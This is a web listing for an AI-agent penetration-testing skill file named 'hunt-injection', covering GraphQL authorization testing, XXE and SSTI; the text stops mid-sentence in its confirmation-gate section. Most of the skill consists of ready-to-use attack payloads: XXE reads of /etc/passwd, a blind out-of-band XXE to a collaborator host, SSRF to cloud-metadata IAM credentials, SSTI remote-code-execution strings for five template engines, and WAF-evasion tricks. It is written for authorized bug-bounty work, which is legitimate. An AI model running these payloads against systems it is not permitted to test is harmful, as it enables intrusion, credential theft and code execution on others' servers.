Skip to content
Security
Skill

/hunt-injection

GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.

BOOST
From plugin
torch
33356 skills
Install
$ npx -y skills add Encod3d-Sec/TORCH --skill hunt-injection --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/hunt-injection

Context preview

The summary Claude sees to decide when to auto-load this skill.

GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.

SKILL.md

hunt-injection.SKILL.md
name: hunt-injection
description: GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.

Hunt: GraphQL / XXE / SSTI

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: `wiki/payloads/{ssti,xxe,graphql,xslt}.md`. Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).

---

GRAPHQL

Signals

/graphql  /api/graphql  /v1/graphql  /query  /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundles

Methodology

1. Test introspection:

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

If blocked, try: `{"query":"{ __typename }"}`

2. Use InQL (Burp extension) or graphql-voyager to map schema. Push load-bearing queries/mutations to **Burp Repeater** (`Skill(hunt-burp)` / the Burp MCP) so the operator can replay them. 3. Find REST/GraphQL overlap - resources modifiable via BOTH APIs 4. Test IDOR: replay queries/mutations with another user's object IDs 5. Test authorization: lower-privilege user calling admin mutations 6. Test for persistent privilege after REST revokes access - GraphQL re-grants?

Evasion

Introspection disabled -> `{"query":"{ __typename }"}` confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.

---

XXE

Attack Surface (ranked)

/upload  /import  /parse  /convert  /saml/acs  /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload features

Rank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to `Content-Type: application/xml`.

Classic File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Blind OOB (when no reflection)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe;
]>
<root>test</root>

SVG Upload XXE

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

XXE -> SSRF

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Evasion

XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a `Content-Type: application/xml` swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through `php://filter/convert.base64-encode/resource=` for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.

---

SSTI

Detection Probes (try all - different engines respond to different syntax)

{{7*7}}      -> 49 = Jinja2 / Twig
${7*7}       -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %>   -> 49 = ERB (Ruby)
#{7*7}       -> 49 = Mako
*{7*7}       -> 49 = Spring Thymeleaf
{{7*'7'}}    -> 7777777 = Jinja2 (not Twig)

RCE Payloads (after fingerprinting engine)

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}

Prove RCE with a harmless command (`id` / `whoami`) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.

Where to Test (ranked)

Highest yield first: PDF/invoice generators and email-template fields (server-side render by design), then name/bio/description fields, invoice names, search queries reflected in results, URL path parameters, and HTTP headers reflected in responses.

Evasion

`{{7*7}}` filtered or returned literally -> cycle every engine syntax above, then bypass keyword filters via attribute-access variants (`request["application"]` vs `request.application`), string concatenation to rebuild blocked names, and hex/unicode escapes. WAF on `__class__` -> `|attr('__class__')`.

---

Chaining

  • **SSTI -> RCE.** Evaluation confirmed -> escalate to command execution with the engine payload above (safe command first). For sandbox-escape gadget chains and OOB-blind RCE, hand off to `hunt-rce`.
  • **XXE -> SSRF / file read.** Point the external entity at `http://169.254.169.254/...` for cloud metadata or an internal service; for the full SSRF surface (redirect bypass, protocol smuggling, Collaborator-gated blind) hand off to `hunt-ssrf`. File read escalates to source/config disclosure and, through those, to further creds.
  • **GraphQL IDOR / auth bypass -> object enumeration.** Nested-resolver and `node(id:)` traversal are IDOR - hand off to `hunt-idor` (two-account method) or `hunt-api` (BOLA/BFLA, mass assignment, batching).

Confirmation gate

Per `hunt-core`. Reproduce every claim in a clean session before scaffolding a FIND; a response body on its own is not proof.

**SSTI - NOT confirmation:** a `{{7*7}}` (or `${7*7}` / `<%= 7*7 %>`) reflected back *literally* as `{{7*7}}`; an error naming the template engine; input echoed unchanged. **SSTI - IS confirmation:** the expression is *evaluated* - `{{7*7}}` renders `49`, `{{7*'7'}}` renders `7777777`,

Read more
Ships withtorch

An AI-powered penetration testing and bug-bounty knowledge base and automation harness for Claude Code.

Get the whole plugin

Other skills on torch.

hunt-burp
Skill

hunt-burp

Drive Burp Suite over its MCP server as an AI triage + attack layer - review proxy history for signals, replay via Repeater/send,…

hunt-ad
Skill

hunt-ad

Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS…

hunt-api
Skill

hunt-api

API attack hunting (REST / GraphQL / gRPC) - BOLA/IDOR, BFLA, mass assignment, excessive data exposure, auth/JWT, introspection +…